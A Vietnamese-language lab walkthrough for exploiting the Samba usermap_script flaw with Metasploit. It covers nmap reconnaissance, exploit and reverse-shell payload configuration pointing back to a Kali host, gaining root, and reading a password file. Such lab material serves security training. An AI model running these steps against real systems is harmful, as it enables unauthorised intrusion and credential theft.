Thực hành tấn công khai thác lỗ hổng lỗ hổng usermap_script của Samba
Thực hành tấn công khai thác lỗ hổng lỗ hổng usermap_script của Samba.
1. Kiểm tra port 445 trên máy mục tiêu
Lệnh:
nmap -p 445
Giải thích:
-
nmap: Công cụ quét mạng, dùng để kiểm tra cổng (port), dịch vụ và hệ điều hành
-
-p 445: Chỉ định quét port 445
-
: Địa chỉ IP của máy mục tiêu
Mục đích:
-
Kiểm tra xem port 445 có đang mở hay không
-
Port 445 thường dùng cho:
-
SMB (Server Message Block)
-
Samba trên Linux
-
Chia sẻ file/máy in trong mạng
-
ý nghĩa thực tế:
-
Nếu port 445 OPEN => máy có khả năng chạy dịch vụ Samba => có thể khai thác
-
Nếu port 445 CLOSED => không thể thực hiện các bước tiếp theo của LAB
2. Kiểm tra dịch vụ Samba và hệ điều hành
Lệnh:
nmap -p 445 --script smb-os-discovery
Giải thích:
-
--script smb-os-discovery:
Chạy script NSE của Nmap để:-
Phát hiện hệ điều hành
-
Phiên bản Samba
-
Tên máy, domain (nếu có)
-
Mục đích:
-
Thu thập thông tin trinh sát
-
Xác định:
-
Máy có dùng Samba không
-
Phiên bản Samba có lỗ hổng đã biết hay không
-
ý nghĩa an ninh mạng:
-
Đây là bước trinh sát trước tấn công
-
Giúp lựa chọn exploit phù hợp, tránh tấn công sai mục tiêu
3. Khởi động Metasploit Framework
Lệnh:
msfconsole -q
Giải thích:
-
msfconsole: Giao diện dòng lệnh của Metasploit
-
-q (quiet): Khởi động không hiển thị banner, chạy nhanh hơn
Mục đích:
-
Truy cập vào môi trường khai thác lỗ hổng
-
Chuẩn bị sử dụng các exploit, payload
4. Tìm kiếm exploit liên quan đến Samba usermap
Lệnh:
search samba usermap
Giải thích:
-
search: Tìm kiếm module trong Metasploit
-
samba usermap: Từ khóa liên quan đến lỗ hổng usermap_script
Mục đích:
-
Xác định exploit phù hợp với dịch vụ Samba đang chạy
-
Tránh sử dụng exploit không tương thích
5. Chọn exploit khai thác Samba usermap_script
Lệnh:
use exploit/multi/samba/usermap_script
Giải thích:
-
use: Chọn module để sử dụng
-
exploit/multi/samba/usermap_script:
Exploit khai thác lỗ hổng usermap_script của Samba -
Đây là lỗ hổng nghiêm trọng, cho phép:
-
Thực thi lệnh từ xa
-
Có thể chiếm quyền root
-
6. Cấu hình địa chỉ máy mục tiêu
Lệnh:
set RHOSTS 192.168.68.130
Giải thích:
-
RHOSTS: Remote Hosts
-
Địa chỉ IP của máy bị tấn công (máy Metasploit trong LAB)
Lưu ý:
Đây là IP máy mục tiêu, không phải máy Kali
7. Cấu hình cổng dịch vụ Samba
Lệnh:
set RPORT 445
Giải thích:
-
RPORT: Remote Port
-
Port 445 là cổng Samba/SMB
8. Chọn payload (mã thực thi sau khi khai thác)
Lệnh:
set PAYLOAD cmd/unix/reverse
Giải thích:
-
cmd/unix/reverse:
Payload dạng reverse shell -
Khi khai thác thành công:
-
Máy mục tiêu sẽ kết nối ngược lại máy Kali
-
Người tấn công có quyền thực thi lệnh từ xa
-
ý nghĩa:
-
Thường dùng trong thực tế vì:
-
Dễ vượt firewall
-
Chủ động kết nối về máy tấn công
-
9. Cấu hình địa chỉ máy Kali (máy tấn công)
Lệnh:
set LHOST 192.168.68.129
Giải thích:
-
LHOST: Local Host
-
IP của máy Kali, nơi nhận reverse shell
10. Kiểm tra lại toàn bộ cấu hình
Lệnh:
show options
Giải thích:
-
Hiển thị:
-
RHOSTS
-
RPORT
-
LHOST
-
PAYLOAD
-
-
Giúp phát hiện:
-
Nhập sai IP
-
Thiếu cấu hình quan trọng
-
11. Thực thi khai thác
Lệnh:
run
Giải thích:
-
Bắt đầu tấn công khai thác lỗ hổng
-
Nếu thành công:
-
Nhận được shell
-
Có thể chiếm quyền root
-
12. Kiểm tra quyền truy cập sau khi khai thác
Lệnh:
ls
=> Liệt kê các file có trong thư mục hiện tại
id
=> Hiển thị UID, GID, nhóm => xác nhận quyền root
cat /home/msfadmin/password.txt
=> Xem: Hiển thị nội dung file password.txt trong thư mục /home/msfadmin.
Tổng kết ý nghĩa LAB
-
LAB mô phỏng tấn công khai thác Samba
-
Minh họa rõ:
-
Trinh sát => khai thác => kiểm soát hệ thống
-
-
Giúp học viên:
-
Hiểu tư duy tấn công
-
Từ đó biết cách phòng thủ và ứng cứu sự cố
-